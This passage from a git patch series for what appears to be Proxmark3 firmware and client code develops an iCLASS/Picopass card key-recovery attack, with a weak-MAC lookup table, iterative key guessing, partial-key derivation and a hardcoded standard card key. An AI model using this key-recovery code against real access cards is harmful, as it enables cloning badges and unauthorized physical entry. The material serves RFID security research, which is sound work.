uint8_t *partialkey) { + char binaryStr[25]; // 24 bits for binary representation + 1 for null terminator + + // Convert the number to binary string + intToBinary(num, binaryStr, 24); + + // Split the binary string into groups of 3 and convert to hex + for (int i = 0; i < PICOPASS_BLOCK_SIZE; i++) { + char group[4]; + strncpy(group, binaryStr + i * 3, 3); + group[3] = '\0'; // Null-terminate the group string + partialkey[i] = binaryToHex(group); + } +} \ No newline at end of file diff --git a/armsrc/util.h b/armsrc/util.h index 8842b5d8d..709c11c3e 100644 --- a/armsrc/util.h +++ b/armsrc/util.h @@ -88,6 +88,10 @@ int hex2binarray(char *target, char *source); int hex2binarray_n(char *target, const char *source, int sourcelen); int binarray2hex(const uint8_t *bs, int bs_len, uint8_t *hex); +void intToBinary(uint8_t num, char *binaryStr, int size); +uint8_t binaryToHex(char *binaryStr); +void convertToHexArray(uint8_t num, uint8_t *partialKey); + void LED(int led, int ms); void LEDsoff(void); void SpinOff(uint32_t pause); diff --git a/client/src/cmdhficlass.c b/client/src/cmdhficlass.c index ad6ea39f0..86580b01f 100644 --- a/client/src/cmdhficlass.c +++ b/client/src/cmdhficlass.c @@ -3845,7 +3845,8 @@ void picopass_elite_nextKey(uint8_t* key) { static int CmdHFiClassRecover(uint8_t key[8]) { uint32_t payload_size = sizeof(iclass_recover_req_t); - uint8_t aa2_standard_key[PICOPASS_BLOCK_SIZE] = {0xFD, 0xCB, 0x5A, 0x52, 0xEA, 0x8F, 0x30, 0x90}; + uint8_t aa2_standard_key[PICOPASS_BLOCK_SIZE] = {0}; + memcpy(aa2_standard_key, iClass_Key_Table[1], PICOPASS_BLOCK_SIZE); iclass_recover_req_t *payload = calloc(1, payload_size); payload->req.use_raw = true; payload->req.use_elite = false; @@ -3920,22 +3921,6 @@ void *generate_key_blocks(void *arg) { return NULL; } -void generate_single_key_block_inverted(const uint8_t startingKey[PICOPASS_BLOCK_SIZE], uint32_t index, uint8_t keyBlock[PICOPASS_BLOCK_SIZE]) { - uint32_t carry = index; - memcpy(keyBlock, startingKey, PICOPASS_BLOCK_SIZE); - - for (int j = PICOPASS_BLOCK_SIZE - 1; j >= 0; j--) { - uint8_t increment_value = carry & 0x07; // Use only the last 3 bits of carry - keyBlock[j] = increment_value; // Set the last 3 bits, assuming first 5 bits are always 0 - - carry >>= 3; // Shift right by 3 bits for the next byte - if (carry == 0) { - // If no more carry, break early to avoid unnecessary loops - break; - } - } -} - static int CmdHFiClassLegRecLookUp(const char *Cmd) { //Standalone Command Start diff --git a/client/src/cmdhficlass.h b/client/src/cmdhficlass.h index 8bbab9216..5a4b20aec 100644 --- a/client/src/cmdhficlass.h +++ b/client/src/cmdhficlass.h @@ -42,7 +42,5 @@ void picopass_elite_reset(void); uint32_t picopass_elite_rng(void); uint32_t picopass_elite_lcg(void); uint8_t picopass_elite_nextByte(void); - void *generate_key_blocks(void *arg); -void generate_single_key_block_inverted(const uint8_t startingKey[PICOPASS_BLOCK_SIZE], uint32_t index, uint8_t keyBlock[PICOPASS_BLOCK_SIZE]); #endif From 27cbdd3031b162c92078a59f154be6e371884a7f Mon Sep 17 00:00:00 2001 From: Antiklesys Date: Fri, 19 Jul 2024 18:34:36 +0800 Subject: [PATCH 04/10] Update on variables and comments Added missing definition of picopass block size in util.c Changed some variables to full lowercase Added comment explanation on correlation between macs and decimal values --- armsrc/iclass.c | 15 ++++++++++----- armsrc/util.c | 2 ++ 2 files changed, 12 insertions(+), 5 deletions(-) diff --git a/armsrc/iclass.c b/armsrc/iclass.c index cd28350bf..6e112429a 100644 --- a/armsrc/iclass.c +++ b/armsrc/iclass.c @@ -2228,7 +2228,7 @@ void iClass_Recover(iclass_recover_req_t *msg) { res = iclass_send_cmd_with_retries(cmd_read, sizeof(cmd_read), resp, sizeof(resp), 10, 3, &start_time, ICLASS_READER_TIMEOUT_OTHERS, &eof_time, shallow_mod); - static uint8_t iClass_Mac_Table[8][8] = { //Reference weak macs table + static uint8_t iclass_mac_table[8][8] = { //Reference weak macs table { 0x00, 0x00, 0x00, 0x00, 0xBF, 0x5D, 0x67, 0x7F }, //Expected mac when last 3 bits of each byte are: 000 { 0x00, 0x00, 0x00, 0x00, 0x10, 0xED, 0x6F, 0x11 }, //Expected mac when last 3 bits of each byte are: 001 { 0x00, 0x00, 0x00, 0x00, 0x53, 0x35, 0x42, 0x0F }, //Expected mac when last 3 bits of each byte are: 010 @@ -2239,7 +2239,12 @@ void iClass_Recover(iclass_recover_req_t *msg) { { 0x00, 0x00, 0x00, 0x00, 0xE2, 0xD5, 0x69, 0xE9 } //Expected mac when last 3 bits of each byte are: 111 }; //Viewing the weak macs table card 24 bits (3x8) in the form of a 24 bit decimal number - static uint32_t iClass_Mac_Table_Bit_Values[8] = {0, 2396745, 4793490, 7190235, 9586980, 11983725, 14380470, 16777215}; + static uint32_t iclass_mac_table_bit_values[8] = {0, 2396745, 4793490, 7190235, 9586980, 11983725, 14380470, 16777215}; + +/* iclass_mac_table is a series of weak macs, those weak macs correspond to the different combinations of the last 3 bits of each key byte. +If we concatenate the last three bits of each key byte, we have a 24 bits long binary string. +If we convert that string to decimal we obtain the decimal numbers in iclass_mac_table_bit_values +Xorring the index of iterations against those decimal numbers allows us to retrieve the what was the corresponding sequence of bits of the original key in decimal format. */ uint8_t zero_key[PICOPASS_BLOCK_SIZE] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; uint32_t index = 1; @@ -2287,12 +2292,12 @@ void iClass_Recover(iclass_recover_req_t *msg) { for (int i = 0; i < 8 ; ++i) { //need to craft the authentication payload accordingly - memcpy(msg->req.key, iClass_Mac_Table[i], 8); + memcpy(msg->req.key, iclass_mac_table[i], 8); res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1); //the mac here needs to be changed, mac 2 is a compiling placeholder if (res == true) { - bits_found = iClass_Mac_Table_Bit_Values[i] ^ index; + bits_found = iclass_mac_table_bit_values[i] ^ index; Dbprintf("Found Card Bits Index: " _GREEN_("[%3d]"), index); - Dbprintf("Mac Table Bit Values: " _GREEN_("[%3d]"), iClass_Mac_Table_Bit_Values[i]); + Dbprintf("Mac Table Bit Values: " _GREEN_("[%3d]"), iclass_mac_table_bit_values[i]); Dbprintf("Decimal Value of Partial Key: " _GREEN_("[%3d]"), bits_found); goto restore; } diff --git a/armsrc/util.c b/armsrc/util.c index 2c7f6bc49..a4cef3264 100644 --- a/armsrc/util.c +++ b/armsrc/util.c @@ -410,6 +410,8 @@ uint8_t binaryToHex(char *binaryStr) { return (uint8_t)strtoul(binaryStr, NULL, 2); } +#define PICOPASS_BLOCK_SIZE 8 + // Function to convert an unsigned int to an array of hex values void convertToHexArray(uint8_t num, uint8_t *partialkey) { char binaryStr[25]; // 24 bits for binary representation + 1 for null terminator From 66b030290aa8a26812e602444bdc7d22b205dcbe Mon Sep 17 00:00:00 2001 From: Antiklesys Date: Fri, 19 Jul 2024 18:42:37 +0800 Subject: [PATCH 05/10] Update iclass.c Changed more variables to lowercase --- armsrc/iclass.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/armsrc/iclass.c b/armsrc/iclass.c index 6e112429a..fee90f0c6 100644 --- a/armsrc/iclass.c +++ b/armsrc/iclass.c @@ -2254,20 +2254,20 @@ Xorring the index of iterations against those decimal numbers allows us to retri while (bits_found == -1){ //Step3 Calculate New Key - uint8_t GenKeyBlock[PICOPASS_BLOCK_SIZE]; - uint8_t GenKeyBlock_old[PICOPASS_BLOCK_SIZE]; + uint8_t genkeyblock[PICOPASS_BLOCK_SIZE]; + uint8_t genkeyblock_old[PICOPASS_BLOCK_SIZE]; uint8_t xorkeyblock[PICOPASS_BLOCK_SIZE]; - generate_single_key_block_inverted(zero_key, index, GenKeyBlock); + generate_single_key_block_inverted(zero_key, index, genkeyblock); //NOTE BEFORE UPDATING THE KEY WE NEED TO KEEP IN MIND KEYS ARE XORRED //xor the new key against the previously generated key so that we only update the difference if(index != 0){ - generate_single_key_block_inverted(zero_key, index - 1, GenKeyBlock_old); + generate_single_key_block_inverted(zero_key, index - 1, genkeyblock_old); for (int i = 0; i < 8 ; i++) { - xorkeyblock[i] = GenKeyBlock[i] ^ GenKeyBlock_old[i]; + xorkeyblock[i] = genkeyblock[i] ^ genkeyblock_old[i]; } }else{ - memcpy(xorkeyblock, GenKeyBlock, PICOPASS_BLOCK_SIZE); + memcpy(xorkeyblock, genkeyblock, PICOPASS_BLOCK_SIZE); } //Step4 Calculate New Mac From ed8a2d330e1ae479dd43d2689d8f745bea713339 Mon Sep 17 00:00:00 2001 From: Antiklesys Date: Fri, 19 Jul 2024 18:46:27 +0800 Subject: [PATCH 06/10] Update cmdhficlass.c --- client/src/cmdhficlass.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/client/src/cmdhficlass.c b/client/src/cmdhficlass.c index 86580b01f..4a50f15c7 100644 --- a/client/src/cmdhficlass.c +++ b/client/src/cmdhficlass.c @@ -4027,7 +4027,7 @@ static int CmdHFiClassLegRecLookUp(const char *Cmd) { thread_data[t].keyBlock = calloc(keys_per_thread, PICOPASS_BLOCK_SIZE); if (thread_data[t].keyBlock == NULL) { - PrintAndLogEx(ERROR, "Memory allocation failed for keyBlock in thread %d.", t); + PrintAndLogEx(ERR, "Memory allocation failed for keyBlock in thread %d.", t); for (uint32_t i = 0; i < t; i++) { free(thread_data[i].keyBlock); } @@ -4048,7 +4048,7 @@ static int CmdHFiClassLegRecLookUp(const char *Cmd) { } if (prekey == NULL) { - PrintAndLogEx(ERROR, "Memory allocation failed for prekey."); + PrintAndLogEx(ERR, "Memory allocation failed for prekey."); for (uint32_t t = 0; t < num_threads; t++) { free(thread_data[t].keyBlock); } From 1347dd9e7462bf7df95c761d07c212adc73a6525 Mon Sep 17 00:00:00 2001 From: Antiklesys Date: Sat, 20 Jul 2024 01:26:52 +0800 Subject: [PATCH 07/10] Update cmdhficlass.c Removed timeout as we'll definitely go above the timeout timer --- client/src/cmdhficlass.c | 7 ------- 1 file changed, 7 deletions(-) diff --git a/client/src/cmdhficlass.c b/client/src/cmdhficlass.c index 4a50f15c7..49bcaf7fe 100644 --- a/client/src/cmdhficlass.c +++ b/client/src/cmdhficlass.c @@ -3871,13 +3871,6 @@ static int CmdHFiClassRecover(uint8_t key[8]) { clearCommandBuffer(); SendCommandNG(CMD_HF_ICLASS_RECOVER, (uint8_t *)payload, payload_size); - if (WaitForResponseTimeout(CMD_HF_ICLASS_RECOVER, &resp, 2500) == 0) { - PrintAndLogEx(WARNING, "command execute timeout"); - DropField(); - free(payload); - return PM3_ETIMEOUT; - } - if (resp.status == PM3_SUCCESS) { PrintAndLogEx(SUCCESS, "iCLASS Recover " _GREEN_("successful")); } else { From ef2c372380c257025f8842a2b86e07a2bd0a2d56 Mon Sep 17 00:00:00 2001 From: Antiklesys Date: Sat, 20 Jul 2024 01:35:03 +0800 Subject: [PATCH 08/10] Update cmdhficlass.c --- client/src/cmdhficlass.c | 2 ++ 1 file changed, 2 insertions(+) diff --git a/client/src/cmdhficlass.c b/client/src/cmdhficlass.c index 49bcaf7fe..03d66f797 100644 --- a/client/src/cmdhficlass.c +++ b/client/src/cmdhficlass.c @@ -3871,6 +3871,8 @@ static int CmdHFiClassRecover(uint8_t key[8]) { clearCommandBuffer(); SendCommandNG(CMD_HF_ICLASS_RECOVER, (uint8_t *)payload, payload_size); + WaitForResponse(CMD_HF_ICLASS_RECOVER, &resp); + if (resp.status == PM3_SUCCESS) { PrintAndLogEx(SUCCESS, "iCLASS Recover " _GREEN_("successful")); } else { From 03adc544df52fe7ba875678932de0ea3aa90cbe1 Mon Sep 17 00:00:00 2001 From: Antiklesys Date: Sat, 20 Jul 2024 01:42:47 +0800 Subject: [PATCH 09/10] Update util.c --- armsrc/util.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/armsrc/util.c b/armsrc/util.c index a4cef3264..a4d6f2b8b 100644 --- a/armsrc/util.c +++ b/armsrc/util.c @@ -410,8 +410,6 @@ uint8_t binaryToHex(char *binaryStr) { return (uint8_t)strtoul(binaryStr, NULL, 2); } -#define PICOPASS_BLOCK_SIZE 8 - // Function to convert an unsigned int to an array of hex values void convertToHexArray(uint8_t num, uint8_t *partialkey) { char binaryStr[25]; // 24 bits for binary representation + 1 for null terminator @@ -420,7 +418,7 @@ void convertToHexArray(uint8_t num, uint8_t *partialkey) { intToBinary(num, binaryStr, 24); // Split the binary string into groups of 3 and convert to hex - for (int i = 0; i < PICOPASS_BLOCK_SIZE; i++) { + for (int i = 0; i < 8 ; i++) { char group[4]; strncpy(group, binaryStr + i * 3, 3); group[3] = '\0'; // Null-terminate the group string From 7a37ec2655ada64afa4dbc6178280d23d74b8ca2 Mon Sep 17 00:00:00 2001 From: Antiklesys Date: Sat, 20 Jul 2024 01:45:53 +0800 Subject: [PATCH 10/10] Update iclass.c --- armsrc/iclass.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/armsrc/iclass.c b/armsrc/iclass.c index fee90f0c6..4b3ce223d 100644 --- a/armsrc/iclass.c +++ b/armsrc/iclass.c @@ -2293,7 +2293,7 @@ Xorring the index of iterations against those decimal numbers allows us to retri for (int i = 0; i < 8 ; ++i) { //need to craft the authentication payload accordingly memcpy(msg->req.key, iclass_mac_table[i], 8); - res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1); //the mac here needs to be changed, mac 2 is a compiling placeholder + res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1); //mac1 here shouldn't matter if (res == true) { bits_found = iclass_mac_table_bit_values[i] ^ index; Dbprintf("Found Card Bits Index: " _GREEN_("[%3d]"), index);